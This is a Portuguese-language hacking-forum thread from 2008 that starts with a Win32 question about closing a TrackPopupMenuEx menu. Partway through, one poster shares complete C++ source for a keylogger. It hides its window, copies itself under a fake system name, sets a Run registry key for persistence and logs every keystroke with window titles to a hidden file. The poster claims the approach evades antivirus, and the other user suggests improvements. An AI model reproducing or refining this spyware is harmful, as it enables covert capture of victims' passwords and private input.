FORUM DARKERS

Tecnologia & Informática => Programação => C/C#/C++ => Topic started by: Rafael93 on 30 de June , 2008, 10:33:22 PM

Title: TrackPopupMenuEx dúvida velha...
Post by: Rafael93 on 30 de June , 2008, 10:33:22 PM
desde q comecei a programar
sempre tive um problema com
o TrackPopupMenuEx(...) da winapi
tipo ele cria o menu e o menu não some
até q se clique em alguma opção do menu
mesmo se clicar fora do menu ele não some
como resolvo isso
como faço um menu 'normal' que some
quando clica fora dele?
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: Rafael93 on 01 de July , 2008, 02:34:48 PM
algueem??? (//http://www.darkers.com.br/forum/Smileys/default/huh.gif)
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: blackwinner on 02 de July , 2008, 01:48:20 PM
Até onde eu sei, só colocando uma opção de fechar o menu pro usuário clicar.. mas eu não conheço muito essa API, esse final de semana vo achar um jeito melhorzim e te passo. :)
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: Rafael93 on 02 de July , 2008, 06:33:05 PM
exatamente o que fiz mas aki é mt
ruim a cada vez que vc abre o menu
tenha que clicar na opção sair para
fechar o menu =/
e eu sei q é possível o menu fechar
se clicar fora dele
pq todos os programas que vi até hoje (com excessão de dois)
o menu sempre some.

(//http://br.geocities.com/bonecoo_xd/menu.gif)
ai vc clica no menu sair para fechar o menu...
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: blackwinner on 03 de July , 2008, 12:45:36 AM
Cara, porque você não pega a coordenada do click do mouse, ou com uma API própria ou com hooking de mouse mesmo e verifica se esta dentro do retangulo(REC *) do menu, ai se estiver fora você usa um PostQuit~.

Bem simples, não?
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: Rafael93 on 03 de July , 2008, 12:51:32 AM
tipo uma vez tentei fazer isso...
mas descartei isso... mas acho q dá pra fazer sim
esse programa eu fiz quando eu tavaa no 2 mes
de programação
agora já ta mais fácil de mudar certas coisas =D
mas aki .. tem uma função que já calcula o RECT*
do menu??? ou tem que ser manual msm?
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: blackwinner on 03 de July , 2008, 12:57:18 AM
GetWindowRect

Primeiro parametro um controle pra janela(HWND)

E segundo um ponteiro longo para uma estrutura RECT(lpRect) que recebe as coordenadas..

Ai é só tu acessar lpRect->Left e etc.

http://msdn.microsoft.com/en-us/library/ms536136(VS.85 (http://msdn.microsoft.com/en-us/library/ms536136(VS.85)).aspx
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: Rafael93 on 03 de July , 2008, 01:06:08 AM
eu teria que fazer isso então?

HMENU Mainpopup = CreateMenu();
HWND MenuWnd = (HWND)Mainpopup;
RECT* Pos = (RECT*)0;
POINT* Pt = (POINT*)0;
GetWindowRect(&Rect);
GetCursorPos(&Rect);
...
if ((Pt.x >= Pos.left && Pt.x <= Pos.right) || (Pt.y >= Pos.top && Pt.y <= Pos.right))
  EndMenu();

tipo eu ainda não testei mais tipo acho q não
da pra converter o HMENU pra HWND...
ou dáa?
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: blackwinner on 03 de July , 2008, 01:28:42 AM
Faz o seguinte, hooka o mouse e pega ação de clickar sem se importar com as coordenadas, não com GetCursorPos porque você vai pegar a posição do cursor e não se o cara clickou ou deixou de clicar.

Se tu não quiser converter um HWND em HMENU porque possívelmente vai dar errado.. faz assim.

O cara abriu o menu, o próximo click, ou executa uma ação ou fecha o menu.

ai tu pega os clicks, nem se importa com as coordenadas, e põe como ação default o endmenu.

Não importa aonde o cara clickar, o menu vai ter que fechar de qualquer jeito, a única diferença é se uma ação vai ser executada ou não.
Mas não usa qualquer hook não, usa a CBTProc e monitora as msgs HCBT_CLICKSKIPPED que monitora quando uma msg relacionada aou mouse está prestes a ser removida d queue.
Se uma ação foi executada ou não, não importa, o importante é que o próximo click após o menu ser aberto, sempre vai fechar o menu.

Ve se tu prefere essa lógica.
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: blackwinner on 03 de July , 2008, 01:30:55 AM
Por aliás, você ta sempre com um monte de perguntas novas sobre APIs do windows, tanto la no unidev e aqui.. então só por curiosidade mesmo, que tipo de programa você ta fazendo?
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: Rafael93 on 03 de July , 2008, 01:44:30 AM
pra fala a verdade tipo
eu to tentando fazer 3
um pra alterar Portable Executables
to estudando aki e conseguindo =D

um treiner que tem mt tempo q tinha
parado a vi o tópico Memory Scanner
ai resolvi .. vo tenta fazer isso agora

e um outro que altera variáveis na memória
em valores definido pelos edit box
que já ta quase pronto

e tipo as perguntaas não são somente por
estar fazendo tais programas e sim por conhecimento =D

e que também uso esses programas aki no meu pc
igual esse do menu é um gerenciador de janelas
que eu to com projeto de refazê-lo e colocar +
pelo menos umas 7 opções de controlar janelas a mais

foi o 1º programa que fiz =D.. depois que terminei
ele tirei mtas das dúvidas que tinha no começo =D
como criação de scripts que o usuário pode criar
ou usar os exemplos, usar o registro, arquivos *.ini,
uso de ícone na tray, etc,
se eu não tivesse perguntado em algum forum
ou procurado no google =D eu poderiaa estar com
certas dificuldades até hoje
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: blackwinner on 03 de July , 2008, 02:03:16 AM
Esse gerenciador de janelas.. achei uma idéia genial.. de verdade
Vo até começar um só de inveja :D
Faz tempo que eu to procurando algo interessante pra codar.

Se tiver algum problema em usar hooks, eu faço um exemplo e explico se tu quiser, até mesmo fechando um popupmenu.

Flws, boa sorte ai nos seus 3 projetos
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: Rafael93 on 03 de July , 2008, 02:25:25 AM
hasusahua
tipo eu ainda não sei usar mt hooks =/
eu geralmente quando faço um programa
detectar cliques eu uso geralmente o
GetAsyncKeyState(); eu sei que para verificar
já conta uma thread =/. mais tipo na hora de um keylogger
a vantagem eh q o AV precisar ter uma verificação mt boa
para achá-lo já o hook de teclas o AV acharia facilmente
vo procurar aki sobre os hooks.. flw
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: blackwinner on 03 de July , 2008, 02:48:38 AM
Dependendo do tipo de hooks, nenhum av detecta..

Olha esse código como exemplo de um kl que eu fiz a uns 3/2/1(sei la lolz) anos atrás que não manda email nem nada, tinha feito só pra mostrar hooking pro meu colega..


#include
#include
#include
#include
#include
#define something 1

using namespace std;
 /*VARIAVEIS GLOBAIS*/
 
 HHOOK hHk;
 FILE *p;
 HWND jFocus;
 char t_Janela[255];
 string Last_Janela;
 
/**SUB-ROTINAS**/
 
LRESULT CALLBACK KeyboardProc_LL(int nCode, WPARAM wParam, LPARAM lParam);
void Formatacao__(char *Tcl, int caixa);
void Seta_Hook();
void Hook_UnSet();
 
 
/****INÍCIO DA MAIN******/
int main(int argc, char **argv)
{

   

 MSG mensagem;
 HKEY key;
 char caminho[600];

 system("mkdir c:\\window");
 SetConsoleTitle("hskl.exe"); //   Nome do console
 HWND janela = FindWindow (NULL, "hskl.exe");  // Procura a janela hskl
 ShowWindow(janela, SW_HIDE); //esconde a janela
 strcpy(caminho, argv[0]); //pega o caminho do primeiro exe
 CopyFile(caminho, "C:\\window\\SPOOLSV.exe",0); //copia para pasta do sistema com nome de SPOOLSV
 SetFileAttributes("C:\\window\\SPOOLSV.exe", FILE_ATTRIBUTE_HIDDEN); //oculta
 SetFileAttributes(caminho, FILE_ATTRIBUTE_HIDDEN); //oculta


//cria  e seta a key de registro
 RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&key);
 RegSetValueEx(key,"spoolsv",0,1,(LPBYTE)"C:\\window\\SPOOLSV.exe",22);
 RegCloseKey(key); // fechando a chave

 
 p = fopen("C:/window/txt.htm","a"); /*abre/cria e oculta os logs*/
 

/*jFocus recebe o nome do processo que está em fóco pelo usuário*/
 jFocus = GetForegroundWindow();
 
/*jLastFocus recebe o mesmo nome*/

 GetWindowText(jFocus,t_Janela,255) /*t_Janela recebe o título da janela em fóco*/;
 Last_Janela = t_Janela;
 if(strcmp(t_Janela,""))
  {
   fprintf(p,"

<--::");                                           
   fprintf(p,t_Janela);
   fprintf(p, "::-->
  ");
  }
/*se o título não estiver vazio, imprime no arquivo o título da janela: <--:: Ragnarok ::-->(exemplo)*/



 Seta_Hook(); /*inicializa a hook*/
 while(1)/*pega e despacha a msg*/
 {
    GetMessage(&mensagem, NULL, 0, 0);
    DispatchMessage(&mensagem);
 }
 
 /**A função tamanho(FILE *p, int Tam_Max) retorna 1(verdadeiro) caso o valor máximo de tamanho dos logs
   estipulado tenha sido alcansado.. logo, fecha o arquivo, ativa a função de enviar os logs e o reabre**/
 
 Hook_UnSet();
 return something; //só pra mudanças posteriores-->
}
/**************TÉRMINO DA FUNÇÃO MAIN****************/



/********HOOK PROCEDURE******/

LRESULT CALLBACK KeyboardProc_LL(int nCode, WPARAM wParam, LPARAM lParam)
{
  if (nCode < 0)
   return CallNextHookEx(hHk, nCode, wParam, lParam);
 
  /*Numa WH_KEYBOARD hook se o valor de nCode for menor que zero, a sua função filtro não deve interferir
  no andamento da msg, logo, a função simplesmente termina chamando a próxima função da chain*/   
     
  jFocus = GetForegroundWindow();
  GetWindowText(jFocus,t_Janela,255);
  if(!(Last_Janela == t_Janela) && strcmp(t_Janela,"") && strcmp(t_Janela,"      "))
   {     
     fprintf(p,"

<--::  ");
     fprintf(p,t_Janela);
     fprintf(p,"  ::-->
  ");
     Last_Janela = t_Janela;
   }
 KBDLLHOOKSTRUCT *LL_INPUT;
 LL_INPUT = (KBDLLHOOKSTRUCT *) lParam;

 if(wParam == WM_KEYDOWN)       
  {
   int scan;
   char buff[255], *Tecla;
   scan = LL_INPUT->scanCode;
   scan <<= 16;
   GetKeyNameText(scan, buff, sizeof(buff));
   Tecla = buff;
   if (strlen(Tecla) == 1)
    {
      if (GetKeyState(VK_CAPITAL) == 1)
       {
        if (GetKeyState(VK_SHIFT) < 0)
          Formatacao__(Tecla, 0);
        else
          Formatacao__(Tecla, 1);   
       }
      else
       {
        if (GetKeyState(VK_SHIFT) < 0)
          Formatacao__(Tecla, 1);
        else
          Formatacao__(Tecla, 0);
       }
         if ((strcmp(Tecla, "1") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "!";
         if ((strcmp(Tecla, "2") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "@"; 
         if ((strcmp(Tecla, "3") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "#"; 
         if ((strcmp(Tecla, "4") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "$";
         if ((strcmp(Tecla, "5") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "%";
         if ((strcmp(Tecla, "6") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "¨";
         if ((strcmp(Tecla, "7") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "&"; 
         if ((strcmp(Tecla, "8") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "*"; 
         if ((strcmp(Tecla, "9") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = "(";
         if ((strcmp(Tecla, "0") == 0) &&
            (GetKeyState(VK_SHIFT) < 0))
              Tecla = ")";
         fprintf(p,"%s",Tecla); 

    }   
    else
      {fprintf(p,"[");
       fprintf(p,"%s",Tecla);
       fprintf(p,"]");
      }
      fclose(p);
      p = fopen("C:/window/txt.htm","a");
     
  }
 return CallNextHookEx(hHk, nCode, wParam, lParam);
}

/*******SETA HOOK******/

void Seta_Hook()
{
    hHk = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc_LL,
     GetModuleHandle(0), 0);
}



/****Hook Unset****/


void Hook_UnSet()
{
     if(hHk)
      UnhookWindowsHookEx(hHk);
}




/*******Formatacao__ recebe o char que irá formatar(passar para caixa alta ou baixa
e o inteiro que diz para qual dos dois ele irá passar

Caso 1, formatacao transforma para caixa alta
caso 0, caixa baixa                                                          ******/

void Formatacao__(char *Tcl, int caixa)
{
 if(caixa)
  while(*Tcl)
     {
          *Tcl = toupper(*Tcl);
          Tcl++;
     }
 else
  while(*Tcl)
     {
          *Tcl = tolower(*Tcl);
          Tcl++;
     }   
}
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: Rafael93 on 03 de July , 2008, 09:17:10 PM
ow.. tava olhando seu kl aki
husha ..tá melhor que o meu (//http://www.darkers.com.br/forum/Smileys/default/angry.gif)

uma coisa que vc poderia fazer tb para evitar certos erros tipo:

HWND janela = FindWindow (0,"hskl.exe");

vc tem q usar antes de incluir windows.h
#define _WIN32_WINNT 0x0500

e faça assim .. acho mais seguro:
#define _WIN32_WINNT 0x0500
#include <windows.h>
...
HWND janela = GetConsoleWindow();

imagina se o infeliz que pegou seu kl
tem uma outra janela com o nome "hskl.exe"
como fica o FindWindow?

e tb tipo eu fiz um

anti-programa-que-bloqueia-gerenciador-de-tarefas
(sahasuhsauhsa sem criatividade pra um nome melhor)

que alterava o título do gerenciador de tarefas antes
que o kl o fechasse num loop while e alterava tb o valor
que bloquea o taskmgr no registro caso ele fosse 1

vai q o usuário faça isso e altere o título do seu kl
pronto já era o FindWindow+ShowWindow tb.. =/
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: blackwinner on 03 de July , 2008, 10:41:54 PM
Eu to ligado \=
Na época que fiz esse kl eu ainda estava começando a estudar a estrutura do windows e suas APIs.. ai saiu essa **** ai  :D ;D
Title: Re: TrackPopupMenuEx dúvida velha...
Post by: Rafael93 on 08 de July , 2008, 09:39:56 PM
Resolvido (na gambiarra xD)
simplesmente .. criar uma janela para interpretar o menu

tipo esse TrackPopupMenuEx() tem um bug mesmo
pra resolver eu criei apenas uma janela Static invisível
e então ela é uma janela ponte apenas...
ela recebe a mensagem e já passa no CallWndProc()
para a janela principal e então o menu some... (//http://www.darkers.com.br/forum/Smileys/default/grin.gif)
se alguém precisar.....
ficou assim:

...
tray.cbSize = sizeof(NOTIFYICONDATA);
tray.hWnd   = MENUBUG; // "janela vazia"
tray.uID    = 1;
tray.uFlags = NIF_ICON|NIF_MESSAGE|NIF_TIP;
tray.uCallbackMessage = 8492;
tray.hIcon = hicon;
sprintf(tray.szTip,"Window Manager");
...
SetForegroundWindow(tray.hWnd);
TrackPopupMenuEx(traymenu,0,x,y,tray.hWnd,0);
// já que o menu é alterado dinâmicamente e à toda hora
// não o destruo aki..e sim no final do programa
// vou arrumar isso depois

vlw pela ajuda
flw
teh+